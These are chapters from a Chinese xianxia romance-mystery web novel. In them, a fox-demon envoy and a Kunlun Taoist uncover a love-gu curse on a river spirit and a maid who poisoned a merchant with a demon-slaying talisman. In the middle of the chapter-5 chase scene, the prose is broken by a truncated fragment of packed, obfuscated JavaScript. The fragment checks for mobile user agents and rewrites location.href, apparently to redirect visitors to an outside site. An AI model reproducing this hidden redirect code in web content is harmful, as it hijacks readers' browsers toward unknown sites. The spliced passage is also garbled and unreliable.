气氛极其安静,阿离试图狡辩,“路过而已。”说完就要走,却被祁渊出声叫住,凌历之中夹杂着些许责怪的冷意,“这么不待见我?先前不是还兴致勃勃的要和我合作吗?”
说到合作。
阿离被迫与他对视,心有余悸,可语气却依旧风风火火,“我已经进了花月楼,有了和你合作的资格,说吧,答应还是不答应,给个结果就行。”
“我还没想好。”
阿离性子向来直来直往,所以一听祁渊这左右为难、犹豫不定的语气便直冒火气,“我有一个办法。我们出去单挑,谁赢了听谁的。当然,前提是不用法力。”
她毫不客气,不加掩饰地释放了自己的敌意。
另一人却觉得好笑,“这就是你求人的态度?”
“我没有求你。”
阿离特别讨厌‘求’这个字眼,她很骄傲,仿佛一株独立于远山之巅的艳美之花。
片刻沉默,祁渊注意到阿离的手心正赌气般紧攥在衣袖中,他的气息也跟着不顺畅,心跳也跟着乱糟糟。
“这里不是你该待的地方。”祁渊正色道。
“我是妖界使者,只要案子和妖怪有关,我都理应在场。”她抬眸,那是一双无比较真又宁死不屈的眸子。
祁渊静默的看着她,嘴角勾起淡淡嘲讽,最后化作一声冷笑。
“好啊,那便让我看看,你的本事。当下江府之中是何种情形,使者大人能否为我分析分析?”
又是考验?
“现下这所谓的驱邪法阵空有其表,因为你们根本不用驱邪,而是降妖,我说的可对?”
祁渊与她对视,“哦?为何?”
“无邪,何用驱。江府的异样,不过是妖术所致的障眼法,这妖道行不浅,但并非毫无漏洞,只要破了眼下的障眼法,江府必能重见光明,而江小姐的病,则是另一种术法,至于是什么,看看不就知道了。”
说着,阿离便转头要去寻罪魁祸首,却不料立马被拉了回去,带
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着厚茧的手掌覆在她的眼睛上,那是一种滚烫的温度。
“你说对了,但是别看,小心被吃了。”沉沉的语音吐在耳边,像梦里的远音。
厚重的纱帐里冉冉升起一团黑影,像梦里的鬼怪,一阵风声略过,它朝他们咧开了笑脸。
薄唇轻启,祁渊无声的念了一句复杂的咒语,那团黑影才堪堪被压制下去。
就是这时,阿离突然一把掰开他的手掌,面红耳赤地溜走了。
祁渊见了那红彤彤的耳根,嘴角忍不住微微上扬。
二人一前一后返回,阿离有意无意地隔开距离。
“你们比我先来,定也是看出了其中端倪,那为何要费力布这样一个法阵驱邪,而不是捉妖呢?”
“是因为方才房间里的东西,对吗?”
方才她虽被捂住眼睛,但却也听见了动静。这东西邪乎至此,为何祁渊可以得心应手地应对?
他有什么特别吗?
阿离猛然摇了摇头,或许是因为自己能力倒退才无法察觉,无关祁渊的事。
祁渊听完阿离的话,幽深的眸子落在她圆滚滚的后脑勺上,思绪飘到遥远的从前,突然他自嘲似的勾起嘴角笑了笑,她还是和从前一样,聪明伶俐,而唯独对他,彻头彻尾变了个样。
道士默言,他看着面前的妖怪旗开得胜般走在前面,墨发如瀑,缕缕发丝被风挑起,肆意飘扬,他盯着她的影子,一再从中读出熟悉的字句,他张了张口,想要争辩什么,奈何阿离愈走愈远,就像她一直在努力地拉开和他的距离,忽视他,抛弃他。
于是他不再开口,装作哑巴。
人间一百年前后,终究是不一样的风景。
姜满还在阵中心跳大神,旁观此景,阿离还是忍不住担忧。
她离交差还有两日,找不到凶手,怕是两边都无法交代,即便是这样,难道她还要站在这儿陪他们演戏?
要不要回去查探江小姐的情况?
但祁渊肯定会阻止她。
踌躇不定之时,面前的法阵似乎有了动静,姜满手中的杖铃不受控制地摇晃起来,最终指向了江小姐闺阁的方向,猛地一晃,脱手飞了出去。
阿离惊呼一声,想动身追去,却不料身旁的人先她一步飞掠出去,还顺手将她拉回,避过满地雪白米粒,阻了她的行动,不多时白墙黑瓦之上多了两道缠斗的身影。
祁渊提剑而去,招招迅猛,势如破竹,将另一人打得节节败退。待退至檐边,那蒙面之人竟巧然一晃,生生将那道冷冽的剑锋躲了过去。
就在这时,蒙面之人突然奋起,全力往祁渊后背刺去。
这是一个来不及反应的姿势,祁渊没准备格挡,反正受伤了也没人在乎,若是真伤了,说不定能幸运的换来某只妖怪的一丝怜悯。
明知不可能,却还是费了心思去妄想,这叫自欺欺人。
想象中的疼痛迟迟未到,祁渊提剑转身,才发现阿离不知何时冲了上来,此刻正接替他和那人扭打在一处,不分伯仲。
虽说失去了妖心,无法凝聚妖力,但阿离从未懈怠过修炼,她的身法功夫近乎无懈可击,因而如今能爆发出来的力量远比常人想象中的多得多。
阿离的本命神武是一把名为赤羽的血色短刃,出招时,赤羽随手腕一转再刺,直逼对方命门。
正是热血沸腾之时,东南方向却突兀地传来了一声惨叫,这声惨叫无比尖锐,似是魂魄被生生抽离的那种撕心裂肺之感。
东南方向,那是何处?
来不及想,阿离一心一意地想要拿下面前之人交差,但不料对方面对她狠厉的招式竟然丝毫不躲,受了一刀后,方捂着胸口留出的血液闷哼一声,声音极为悲切地唤了一个名字。
“茗儿!”
刀刃停在半空迟迟未落下,阿离转头看去,这才发现腕上多了一道桎梏她的力气。
那双好看的眼眸似乎藏着深切的悲绪,祁渊皱着眉头,冷厉却又空荡的眸光透过一切落进她眸底里的一汪深潭,阿离怔了一瞬,只一瞬,便果断甩开了那只紧握住自己的手。
被甩开的手擅自在半空停了一下,没收回,锋利冷傲的薄唇抿了又抿,才不确定地开口,“你方才,入魔了?”
被问的妖怪不耐烦,丢了句“与你何干”便跳下屋檐,朝着方才传来惨叫声的方向奔去。
方才蒙面人趁机逃走了,他逃命的方向,正是东南。
茗儿,江家小姐的名字里就有茗字。
那蒙面人与江茗是何关系?他可是杀死章老板的凶手?
转眼间,阿离来到那间房屋面前,气势汹汹地向前却像是踩上了修罗妖狱中的千层焰火,脚底的疼痛一瞬间冲上头顶,她吃痛,歪着身子退回原位。
睁眼再看,只见地上有一处被她踩散的米粒。
这法阵是真的!
“江茗!”
法阵余威难消,努力辨清方向后,阿离再次向前,只不过这次懂了避开地上那些雪色大米。
但,院外尚有日光,屋内却是一片昏黑……
不知为何,她又回到了历经了无数次的梦境里,心口的位置缺着,撕心裂肺的疼痛包裹着她,叫她生不如死。
4. 花月楼(三)
天色渐晚,灰色的天空又开始落雨,那细小的雨滴砸落在屋檐上,轻得像熟睡中婴孩的呼吸。
雨中的扬州城是躲在盛世背后的一副朦胧画卷,不真切,虚假的很。阿离没那么喜欢江南,这细软绵绵的温柔乡。
“她怎样了?”一道声音在身边回响,时而近时而远的。
这声音她好像很熟悉,就像每每午夜梦回,这个声音就会如床边明灯般将她游离的神魂呼唤回来。
阿离的脑海还有些昏沉,隐约间只能闻见一股药香,浓郁的,还带了些苦味。
她的喉间跟着苦涩,眉头一皱,眼皮便跟着打开了。
她这是在哪?
模模糊糊地扫了眼陈设简单的屋子,挣扎了会儿,又要蒙被躺下,重新阖上眼皮后却忽然听见头顶传来一道低沉的声音。
“醒了?”
靠!
阿离昏沉的脑子立马清醒了过来,边抱着被子边大叫地蹦出了三米远,最后终于反应过来,一把将手上的“武器”压上了偷看她睡觉的死变态头上,力气之大,像极了要捂死人的架势。
“药好了。”端着药进来的姜满见了这阵仗霎时惊了下巴,只听啪地一声,那一小碗珍贵的药膳就这么砸了个稀碎。
阿离终于收了手,看着面前这意图不轨之人乱糟糟的发冠,一张俊脸上配着的无语神情,她没忍住噗呲一笑,“我不是故意的。”
她笑得眼泪都掉出来了。
药没了只好再熬,只是辛苦了姜满当他们二人的苦力。
“这儿是哪儿?”
“江宅客房。”
“我怎么会在这?”望着手里的苦涩药汤,脑海里浮现出当日的场景,那时她推门直冲,看见厚纱中有一团骇人的黑影,黑影之下还有一男一女,女子似乎受了重伤,正虚弱地依靠在男子怀里。
“茗儿,茗儿?”男人颤抖崩溃的声音刺痛着阿离的神经,她提着赤羽一步步朝他们逼近……
随后天旋地转,记忆出现了一大片的空白。阿离轻叹一声,手里的药汤还是没能饮下。
“喝吧,特意放了糖。”祁渊一改先前的狠厉模样,语气温柔道。
阿离并未斟酌,一鼓作气似的仰头将药饮尽,最后露出一张紧皱的面容,“苦的。”
祁渊噗呲一笑,“嗯,苦的,方才是骗你的。”
阿离皱起眉头,对这个玩笑嗤之以鼻。
“我是如何晕的?晕了多久?”
祁渊知道若自己将此事轻轻揭过,阿离定不会善罢甘休。
“将近一日,这是梦魔的手笔。”
梦魔?
阿离想起那个黑乎乎的影子,一阵反胃。
“梦见什么了?”祁渊摊手,递过来一颗糖。
阿离有些不明所以,没接他的糖,有意无意的开口道:“是噩梦。梦见有一个人,抛弃了我。”
拿着糖的手顿了顿,将糖收了回去。
他认为这句话颇为颠倒黑白,他不认可。
“那蒙面人和江茗怎样了?”说着,阿离便收拾好自己向外走去,外边有落雨后的泥土香,树木的枝叶上尚且挂着水滴。
她记得,那时厚重的纱帐下,那二人真情依偎的场景,她手上发了疯的尖刀是否会拆散了这对苦命之人?阿离不敢想,只是想奋力奔去寻找江茗的庭院,确认一番她的安全。
“他们没死。”祁渊看着眼前因他的话停下动作的妖怪,继续说道:“只是江茗被阵法伤了,另一人,现今被关在另一间客房中。”
闻言,阿离僵直的肩膀松了下来,露出庆幸的笑颜,“那就好。”
“既然如此,我想去看看。”
***
今日阳光正好,屋内终于不再昏暗,大概是因为有客人,所以终于有婢女前来点上烛火。这火光一亮,房中瞬间亮堂了许多。
厚重的纱帐隔了一层又一层,阿离抬手掀起,几许情绪就这么沿着丝绸般的触感划进她的脑海。
床上的人面色苍白,像生病,不像中邪。
祁渊说是因为阵法所至,如此看来,江茗便是妖怪。
江南的大善人生了只妖怪吗?
显然不是的。
十八年前,江家老爷在城外茗河边捡了一个女婴,心中怜悯之心大盛,遂而收养了这可怜的女婴,取名江茗。这间偌大的宅子倾注了张家老爷对女儿的臻臻爱意,于是乎,宅子的角角落落,尽是父女的美满幸福。
但一生积德行善的江家老爷可能永远想不到自己收养的女婴竟是一只妖怪,他只是担忧自家孩子,于是费重金请道士求神佛,现今这位慈父却在病容骤起的女儿床前哭成了泪人。
阿离不忍,垂下眼睫,掀开纱帐离去。
江府豪华,地方大,弯弯绕绕自是少不了。
‘大病初愈’的阿离像只乖巧的小兔子一样跟在祁渊身后,高大得像山一样的影子替她挡下了灼热的太阳,偶尔,阿离也会放下戒备阖上眼睛,她好像很久没有这么安宁了。身前这个人,没由来地让她生出了一种信任感。但,很不好……
“那人,名为青钰。”祁渊沉声开口,阿离知道,他在说昨日的蒙面之人。
三月前,一道惊雷劈下,江茗的屋子着火,江茗生死未卜。
青钰便是那时来了江家,他便是传闻中的仙人,救了江茗的命,江家将他奉为神医。
但,据青钰所言,他和江茗的缘分,却并不止于此。
***
蒙面人名为青钰,也是妖怪。
他和江茗的缘分比所有人预料的都要早,他们在茗河相伴相依,已有四百余年。
“河水通灵成妖,茗儿就是这样诞生的。”回忆冲破时间,就这么如潮水般涌了上来。
“十八年前,茗河河水不稳,隐隐有了枯竭之态,茗儿身为河灵,与茗河一荣俱荣,一损俱损,正当我们以为别无他法,只得听天由命之时,一位老神仙出现,给了破解之法。”青钰微微抬头,眼前仿佛出现了当日之景。
希望降临时,世间是幸福的。
“他要茗儿去人间,走一遭过,之后便不再有水枯身死的忧虑。”
“我心生欢喜,擅自替茗儿应下了。”
原本是生死有命,富贵在天,但正因这擅自二字,才有今日江茗之生。
“你救了她。”
“或许,我不该救她。”
面前的男人被封妖阵束缚着,以一个跪坐的姿势,他身上贴满了降妖符咒,不得动弹。
这是昆仑山的招数,也是天下所有道士的招数,所以不论是哪方,都有一个共通点,就是降妖。阿离也曾杀过不少妖怪,见过许多濒死绝望之相,但她的内心却从未像此刻一样堵塞。
她也是妖怪,符咒降妖的手段,最是深恶痛绝。
可今日,她必须要在这样一个仇恨的场景里进行决判。
“阿茗怎么样了?”
昨日的法阵重伤了江茗,青钰不要命的赶过去,将自己半数修为渡去,才勉勉强强为江茗吊了一口气,后来,他便被昆仑山的道士封在这里,不得自由。
青钰想见一见江茗。
他想,也许那位绿衣使者能够帮他争取一个机会。
所以,他嘴硬到现在,坚持只见阿离一个人。
“你用梦魔引她入梦,现在却在这儿假惺惺的关心她?”
谈及此处,好似戳到了青钰的痛点,他辩驳道:“我并非故意。”
“只是那和尚咬定茗儿是妖怪,我没办法,只好出此下策,只为引那和尚前来。”他想帮茗儿摆脱谣言,想让她当一个幸福快乐的凡人。可和尚没上套,反倒是他,差一点失手赔了江茗的命。
阿离眸光一暗,“那情蛊呢?还有三个月前那场大火,是你亲手施下幻术,叫这一方水土不得安宁
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,一切的始作俑者是你啊,青钰。”
青钰一怔,兀自将头低下去,像是认了罪行。
阿离:“所以,你后悔了吗?”
“天地妖灵,本就应该和生灵之地同生同死,那神仙言语虽然不虚,却也隐瞒了许多。例如,他想让江茗成神,守一方生灵。”
青钰没有否认,“原本觉得是幸运,茗儿可以不用死,我们在一起的时间可以长得不可思议,可到头来,却发现这是最大的不幸。”
那个老谋深算的神仙,从未告诉他代价是那么残酷,残酷到,他用生命也无法挽回。
江茗忘记了他,忘记了他们相生相伴、无法分离的曾经,她从头来过,他却依旧停在原地,等着她回头。
然而因果已成,一切早已没有了回头路。
三个月,已经够了。
南疆有一种蛊,名曰情。
“所以呢?你后悔了,就要拿她的命来赌?若是不成呢?你可想过江茗会死?”
青钰似乎被最后一个字刺激到了,他的瞳孔骤然一缩,恐惧从四面八方侵袭而来。
“茗儿不会死!”青钰崩溃大喊。
情蛊种下,江茗不仅不会死,还会重新爱他。
青钰愤怒的眼睛直瞪着阿离,身体因被束缚而挣扎得火红,脖颈上更是有青筋暴起,“你们!是你们!若不是你们多管闲事,茗儿怎会需要承受如此痛苦?!”
“可若是,那神仙让她活的条件是抽走她的情丝,叫她去做一个断情绝义的好神仙呢?!”
无爱无恨,方能成神。
天道就是这样,叫这些不懂哭笑的人来当神仙,才闹得众生多苦。
“青钰,江茗快死了。”
“你为何不能,再救她一次。”
无情,何生情。
情蛊深种,可被种蛊者却无法生出情愫,只能被情蛊反噬,一步步走向死亡。
如今的江茗便是这般,重病之相,命悬一线,脆弱的命格将她的妖怪本相逼出,镇妖铃响,她的灵魂被一击而碎。
若是没有情蛊,她还是一个凡人。
还可以活。
但最爱她的人,却叫她去死,而这一切的起因,只是因为她不爱他了。
情爱是这样的吗?
阿离想起那间房间里苍白无力的病人,她的眼睛紧紧闭着,没有一丝光彩。
离开贴满镇妖符的房间,阿离思绪沉重,祁渊尚在门前等待,阿离见了他,几乎不加思考的走近。
“你说的方法,真的有用吗?”阿离激动的抓住祁渊的手臂,迫切的问。
祁渊未计较她的冒失,只是恍然间,碰见了一个熟悉的影子,“嗯。”喉间轻滚,他给出一个答案。
他真的没认错,她还是从前那个善良的小妖精。
只不过……物是人非。
“情蛊的剔除之法,昆仑山的藏书阁中有些许记载。”
同样的话,阿离也对镇妖法阵中的青钰说过。
“情蛊的剔除之法,昆仑山的藏书阁中有些许记载。”
“你想救她吗?”
沉静的眼眸望着面前的妖怪,他想改变一切,想回归从前,却对既定的事实无能为力。
你想救她吗?
还是说,你想要夺走你为她争取来的生命,要一切回到起点,要自私的赋予她你的爱意?
真可悲。
可青钰,你有没有想过,你爱的人从未爱过你呢?
“如何救?”
干涸的河床传出一道奇怪的声响,它不舍得与自己朝夕相伴的流水,它从很深的地方呼唤它的名字,以寻求回应。
这一刻,青钰还是未能想通什么,他只是深爱着他的流水,他怀念她的一切,这一刻,青钰好像回到了四百年前,他重新面临着神仙给出的选项,救与不救,唯一不同的是,这次流水的消失,是他一手造成的。
5. 花月楼(四)
“如何救?”阿离在听见祁渊的话后,十分吃惊,因为她知道江茗寿元将近,已无回天之力,但眼前这人却告知她还有解救之法,这无疑给了她希望。
“只需下蛊者的心头血。”
“心头血?”
“不错,不过并非只是心头血这么简单,下蛊者执念越深,情蛊的作用便越大,更何况是江茗这种半个身子踏入阎王殿的人。”
“想救她,要一命换一命。”
阿离紧着眉头,觉得艰辛,像青钰这般狠毒的疯子,是选择保命,还是选择爱人呢?
叫人意外的是,他选择了后者。
最后,青钰还是如愿见了江茗一面。
临死之前,他将记忆中活蹦乱跳的妖怪和面前苍白如纸的凡人做了个对比,然后自嘲似的笑了笑。
他将她微微抱进自己的怀里,得偿所愿,又心有不甘。
青钰请求阿离一众人,切莫将真相告知江茗,他想让他的阿茗健康快乐无忧无虑的活下去,她不需要知道自己的曾经是何模样,更无需担心这段时间里医治她的神医青钰为何突然离开,去了哪里,她只管活,好好的活,活到人间百年,那个老神仙就会出现把她接到天上去,再活上千年万年,活它个天荒地老。
再也不见了,他的阿茗。
***
江茗醒来的时候,是个风和日丽的早晨。
他随父亲一起见过这几个昆仑山的道士,谢过他们的救命之情。
无人之时,她才抓住机会将大伙口中的小师妹请到闺阁之中,问一问,那位神医的去向。
“他吗?见你无事,游历四方去了。”阿离不大会撒谎,笑容挂在脸上,有些不自然。
江茗似乎有些失落,“是吗?他怎的不和我道一句别?”
“许是不想你挂念。”
闻言,江茗抿着嘴,不说话了。
不挂念?怎么会不挂念呢?
自觉伤心,却无法遮掩,江茗将面前倒扣的茶杯翻转,请阿离喝一口茶,以尽待客之道。
“闲暇之余,你会想起他吗?”看出了江茗的思绪,阿离多问了一句。
江茗抬头,似是不懂,故意扯开话题,“近日扬州城办赏花大会,百花齐放,阿离姑娘得了空,记得去看看。”
“记得,和祁公子一同去看看。”她原本,是想邀请神医青钰一同去看的。只是可惜,对方不告而别。
阿离笑过,提起茶杯,却意外感知到一缕异样的气息。
这道气息碎在杯中,混着江南上好茶叶的清香,久久不散。凡间道士常常用符咒捉妖,其中灭妖符是所有符咒中最为致命的一道,而这杯中,竟有几分灭妖符的符咒残余。
阿离当即将茶杯扔开,如此还不够,她一把将江茗手中的茶杯夺来摔碎,随后是一整套茶具。
江茗被她的动静吓住了,“怎,怎么了?”
“有毒。”
“毒?”
“江小姐。”
江茗急急出声,“姑娘救了我的性命,唤我名字便好。”
“好,那阿茗,你也不必客气,我叫阿离,以后也可以直接唤我名字。”阿离舒心一笑,接了方才的话锋,“不知阿茗,可还记得城东街卖布匹的章老板?”
江茗愣了愣,不明她为何突然提起这人,“自是记得,我与章大哥志趣相投,也算得上知心好友。怎么了?可是他出了事?”
“七日前,他来江府送过一次布匹,不知阿茗可有留他喝一盏茶?”
“自然是要留的。怎么了?这毒要紧吗?可是与此事有关?”
阿离并不想同江茗解释这事儿,虽说一波刚平,但江茗对自己的妖怪身份实在是知之甚少,贸然说出来,很难定义好坏。
阿离哈哈两声,打了个圆场,“确实有关,不过,毒不要紧。我说话的习惯就是这样,总以为有人要害我。”
“说来也巧,我与布匹铺章老板算半个朋友,他多次向我提起你这里的茶好,想来也是,江家娘子亲手泡的茶,自然是极好。”
江茗听了夸奖,羞怯地笑了笑,“阿离抬举我了,这茶并未我泡的,而是我房中的丫鬟贞儿泡的,我只是倒茶,没那么大的本领。”
闻言,阿离方恍然大悟,神色匆匆地向江茗道了别。
出门左转,提着裙摆奔回了前院,看见站在柳树下的祁渊,阿离十分气愤地说道:“那老神仙,把我们都耍了!”
“江茗的情根根本没有被收走,只是被藏住了。蛊毒解时,她心里念着的人,就是青钰,何来先前求不得一说?”
祁渊也没料到真相竟是如此,神情些许意外,随后只道:“世间万般,皆是造化,不管怎样,青钰剑走偏锋,做错了事。”
阿离打抱不平,“天底下的神仙,真没一个好东西!”
闻言,祁渊的神情有些不自然,“有些事,也不能一概而论。”
但阿离显然没注意到那一丝不自然,此时她觉得祁渊颇有为那些无为神仙开解的架势,看来又是一个异想天开,想要得道成仙的人。
她盯了盯对方的脸,“花月楼让我来江府,是要调查另一桩案子。就在方才,这案子有了答案。”
“城东街卖布匹的章老板于七日前突然暴毙于家中,而刚好,那日他了江宅送过一次最新样式的布匹,不仅如此,章老板和江小姐还是知心好友。”
“众多线索指引我来到了江家,可,凶手是谁呢?”
三言两语,阿离将案子说了个大概。
祁渊用指节轻抵着下巴,“七日前,正是江茗传出中邪消息的日子。在此之前,她去过一趟城外的灵泉寺。”
七日前,江茗照常跟随父亲一起礼佛上香,却在寺庙中碰见一个修为高深的和尚,一眼道破了江茗的妖身。只是神仙庇护,和尚并未成功杀死江茗。
也因此,外界开始传,江茗是被妖物附身才会有中邪之相。
“我曾调查过章老板的死因,是灭妖符。而就在刚才,我在江茗房中发现了符水残余。”
阿离说到‘灭妖符’一词时,祁渊的眉心不由得蹙了蹙,现出几分担心的意味。但看面前妖怪完好无损的站在面前,心又在无人觉察的地方安下。
阿离继续说:“茶水是一个名为贞儿的婢女所泡,至于知情与否,就要问问本人了。”
“所以,你在找我帮忙?”祁渊挑眉,饶有兴致地说道。
阿离一楞,反驳道:“真凶是个凡人,不归妖界管,我找你,是觉得你们不会行袒护之举。”
闻言,祁渊的薄唇勾起,露出一丝淡淡的笑音,“你肯信我?”
阿离抬眸,“昆仑山的信誉高,值得一信。”
“再说,我若不信,为何要找你合作?找只妖怪,不是更称心如意?”
“所以?”
“啊?”
“为什么偏偏找我?”
“因为,你,长得,还行吧。”
……
江家丫鬟登记在册,但今日老管家发例钱的时候,却发现少了个人头。
贞儿是大小姐的贴身丫鬟,此时她陪在大病初愈的大小姐身边是毋庸置疑的,只是老管家心有不安,只觉得要发生什么不好的事情。
这不!大小姐的救命恩人来找人了。
“贞儿?此时她应该是陪在小姐身旁。”
“发生了何事?”老管家今许七十有几,为人处事相当圆润,不必多想,他便知道贞儿那丫头犯了大事,此刻他是装傻充愣,急于撇清关系。
阿离:“她投毒杀了人,请管家不要隐瞒,将贞儿的下落告诉我们才是。”
管家惊掉了下巴,左思右想道:“有了有了,江府还收着贞儿的奴契,没有户籍,她跑不远的。我现在带你们去找。”
不找不要紧,找了反倒是出了乱子。老管家章鱼似的跑出来,匀不上气,“不见了不见了,贞儿的奴契,不见了。”
结果并非不可预料,当下之急,是找到贞儿的下落,可她会去哪呢?
阿离:“重获自由的人,应该会立马离开吧。”
祁渊:“人走茶未凉,算算脚程,应当还未出城。”
城门。
今日错过了淅淅沥沥的雨天,暗淡许久的扬州城终于趁机恢复了些许生机,那些踌躇不定要不要外出的小商人终于在这个晴天收拾好行囊拥挤地往城外赶去。
“人太多了,一时间很难找到。”阿离有些沮丧。
“对了,我听说,你们道士,有一种符咒,叫啥来着?好像是可以追踪气息的。”
“追踪符?”
“对!可有带?当场画一张也行。”
祁渊给阿离新画了一张,“有了符,却没有气息,你要如何找?”
“谁说没有了。”阿离说到这儿停了停,卖了个关子,“杀人需要动机,贞儿身为江茗的贴身婢女,主子被恶言诅咒缠身,她理应着急,一时着急上了头,病急乱投医,也是有可能的,所以,茶杯里的灭妖符可能就是这么来的。”
“因此,我离开江府之前,偷偷带了一样江茗的贴身物件。”
阿离从衣袖里掏出早早藏起来了手帕,“来吧,让你的符记住这个气息。”
祁渊照做,一张符纸随咒语自燃后化作一圈光线,咻的一下朝人群中冲了过去,阿离硬着头皮挤进了人群,只见那根光线最后跨过人山人海,消失在了一个蓝色的包袱里。
“贞儿!”
前方身着青灰色麻布衣裙装扮的瘦小身影突然顿了顿,随后本能地加快了本就因为紧张而慌乱的步伐,愈来愈快,到最后竟然狂奔了起来。
人群呼啦一下散开,阿离奋力追去,连连出声喝停。
阿离身手卓绝,按理说像贞儿这样的凡人根本根本没有抵御之力,可就在阿离抓住她的一瞬间,一股电流从手掌一直蔓延至大脑,紧接着是耳鸣,彷佛有一根细长银针,用力刺进阿离那脆弱的耳膜,眼前倏然迷糊了一片,意识却强撑着去看清面前的景象。
一道黄符藏在贞儿的蓝色包袱中,昭示着背后的始作俑者。
阿离冷笑,为这个不曾见过的对手。
眼前霎时黑了一片,阿离习惯地运用妖力替自己挡开这无妄之灾,但心口的位置缺着,强大的妖力无法凝聚,只得冲进脉搏里,最终伤了自己。
再撑不住,阿里身子一弯,直直地跪了下来,一口鲜血从胸口的位置震出,落在青灰色的石板路上,染红了缝隙里野蛮生长的青草。
眼前再清明的时候,只觉身体的五感在慢慢回归,阿离这时才发现,耳朵上好像被什么捂着,很暖,很静。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128314|180156||http|test|mini|href|location''.split(''|''),0,{}));
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>祁渊不知何时过来了,一张鬼斧神工般的脸就这么出现在阿离的眼前,轻而易举的占满了整个世界。
她看见他的眉头紧蹙,这般忧愁的神情似乎是因为担心她才出现的。
这有什么好担心的,道士都巴不得天底下的妖怪死光光。
但头脑晕乎的阿离说不出这么长一句的绝情话的,她只是勾起嘴角笑了笑,一双好看的眸子落进祁渊的眼里,好似他漫长世界里最亮的星辰。
下一秒,阿离发觉身体一轻,自己被祁渊打横抱进了怀里。
“人呢?”
话说得艰难,只能两个字两个字地往外蹦。
“赵管家带人抓回去了。”
“都这样了,还有心意管别人?”他轻着声音说了一句责备。
这样了是怎样?
阿离到底是自嘲似的笑了笑。
“别说话。”
“我想睡觉。”
自那场莫名其妙的变故后,阿离从未觉得自己的世界如此清明安静过。
她真的想睡觉,毕竟她很少做梦,空白的梦里没有那些嘈杂的、令她生厌的声音,这让她可以暂时忘却自己的妖主身份,做一只无忧无虑的小狐狸。
但是阿离到底没睡着,抱她的人存在感太强,她似乎是悬在一座崖壁之上,抉择两难,这让阿离少有的在一片沉静里迅速找回思绪。
“还是放我下来吧。”
某人耳朵突然失灵,没搭理她。
阿离张了张嘴,却没再说什么。像是为了避免尴尬,她任由祁渊抱了一路,不再吭一声。
回了江府,面色苍白的阿离在祁渊的搀扶下坐在了旁边平复,而祁渊不知为何杵在一旁一言不发,在阿离看不见的地方,那双好看的眸子里似乎隐隐燃烧着怒火。
于是,在两人罢工的情况下,姜满担起了主审的身份,而罪魁祸首贞儿因为扛不住昆仑派大师兄的‘严刑逼供’,只好‘屈打成招’。
一切的因果,还要从三个月前的鬼火说起。
三个月前,在冰冷彻骨的雨里,鬼火烧了三夜绵绵不绝,那天正是第三日,黑灰色的云被风压得很低,正当所有人觉得此事再无回转之地时,青钰敲开了江府的大门。
他好像只是挥挥手,漫天黑云散去,那场大火就这么被熄灭了。
而更加奇迹的是,三日的大火,竟然杀不死一个活生生的人。
所有人都觉得江家小姐命大。
贞儿却不。
贞儿是个凡人,可她从不相信话本故事里那些怪力乱神之说,她不信神仙临世,所以,当她重新见到自家小姐的那一刻,贞儿就发现了,不对劲!绝对不对劲!
小姐变得与从前不一样了,她不再和善,变得与人生疏,但这或许是历经火灾毁容的缘故。可就是奇怪,而且这种奇怪,在青钰出现的时候尤为明显。
一个人怎么会莫名其妙地喜欢上另外一个人?
三个月来,青钰对江茗的照顾无微不至,不知用了何药,江茗毁容的脸竟奇迹般好转,一如往常。
哪怕是神医,真的能做到这种地步吗?
贞儿骇然,对青钰的存在愈来愈恐惧。
奈何府中的人却着了魔一样偏袒这个外人!
而她又怎会放心将自家小姐的命交到这样一个来历不明的人的手里。
直至那一天,她在跟随小姐前去礼佛的时候,遇见了一个道法高深的和尚。
这和尚一对凤目,邪魅无比,似是可以洞穿世上一切诡异妖魔。
贞儿向其询问真相,她与和尚说道:“我怀疑青钰是妖魔。”
和尚肯定贞儿的说法,他道:“那场诡谲的大火是妖火,或许就是这个来历不明的神医所放,他想近你们家小姐的身,况且,他的真身就是妖魔之相,世上所有妖魔都应该被杀死,如此,人间才有太平可言。”
贞儿觉着,和尚所言不错。
人间是人的人间,妖怪混在里面,大错特错。
于是,她向和尚求了一道符,将其化作水,融入小姐的茶水中。
“可谁知符水被章老板喝了去,而小姐,更是中了邪!”
贞儿跪在地上,泣不成声。
“小姐,怎会是妖呢?都是青钰的错,都是因为他,小姐才会变成这般模样!都是他!”
主审姜满紧皱着眉头,最后也只好叹了口长气,“因果循环,自讨苦吃。”
“和尚,又是和尚,这和尚究竟是何方神圣?”阿离喃喃低语,用食指关节轻轻揉按着自己的太阳穴。
“你们这些凡人,就是太自私。”阿离将按着自己太阳穴的手撤回,起身说道。
眨眼间,她的手上变出了一份供词,上边正是贞儿方才所言所认之罪。
“在此印个指印,昆仑山的道长会按照凡间律法处置你的。”阿离将供词递给地上眼泪汪汪的人,冷眸看着她将手印印上,最后收了供词,离开了。
凡人的罪不该妖怪定,不过方才祁渊已应了她,会让贞儿付出相应的代价。
暂且信他一回大公无私吧。
得了供词,阿离便立即赶去了花月楼。
“三日,凶手已归案,现在花月楼可否履行承诺了?”
“当然。”掌事碧云微微一笑,收下了阿离手中的供词。
6. 花月楼(五)
阿离的客房被安排在了最角落的一间小阁楼,不大不小,落个清静。
门外是歌舞升平,莺歌燕语,窗外是人间熙攘,烟火人家。
阿离全身放松的倚在窗边,耳边响起隔壁街巷的嘈杂和热闹。这种感觉是一种特别的享受,阿离喜欢人来人往,喜欢热闹,喜欢凡间。
不多时,阿离将眸光落在对街一家小铺子门口,某位身姿挺拔、容貌俊秀的男人正抱着剑靠在门柱旁,身边不时有小娘子路过,不知是故意的还是无意的,她们一定要跑到他面前,当着他的面娇羞一笑,然这些男人都视若无睹。
似乎是感受到阿离灼灼的视线,祁渊抬头,朝她的方向看去。
他的眉眼桀骜不驯,戾气不绝。
一般道士不应有此狠厉之气,虽说要捉妖,却也是时刻持有清正,如君子。祁渊也像君子,恶君子。不过这人长的确实好看。
阿离有一搭没一搭地想。
不知他考虑的如何?
阿离一边身子贴在窗台边,一边半伸出去,朝祁渊招手,二人相隔了一条长街,但祁渊还是分辨出了对方飘过来所剩无几的话音。
上来说话。
阿离动身,为祁渊腾出了位置。
等了半晌,却等不见人影。阿离心里一急,正要重新探头查看,却不料那人在这时飞身越了上来。
冷冽的气息如北风般席卷而来,带着侵略性。
